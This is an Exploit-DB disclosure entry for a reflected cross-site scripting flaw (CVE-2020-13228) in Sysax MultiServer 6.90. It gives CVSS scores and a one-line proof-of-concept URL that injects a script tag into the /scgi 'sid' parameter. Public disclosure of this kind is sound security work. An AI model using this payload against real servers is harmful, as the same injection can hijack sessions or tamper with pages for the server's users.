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exploitdbLuca EpifanioEDB-ID:48582
HistoryJun 12, 2020 - 12:00 a.m.

Sysax MultiServer 6.90 - Reflected Cross Site Scripting

2020-06-1200:00:00
Luca Epifanio
www.exploit-db.com
557

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.002

Percentile

54.3%

# Exploit Title: Sysax MultiServer 6.90 - Reflected Cross Site Scripting
# Google Dork: n.d.
# Date: 2020-06-02
# Exploit Author: Luca Epifanio (wrongsid3)
# Vendor Homepage: https://www.sysax.com/
# Software Link: https://www.sysax.com/download.htm
# Version: MultiServer 6.90
# Tested on: Windows 10 x64
# CVE : CVE-2020-13228

There is reflected XSS via the /scgi sid parameter.

PoC:
http://192.168.88.131/scgi?sid=684216c78659562c92775c885e956585cdb180fd
<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm

PoC Screen: https://pasteboard.co/J9eE2GQ.png

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.002

Percentile

54.3%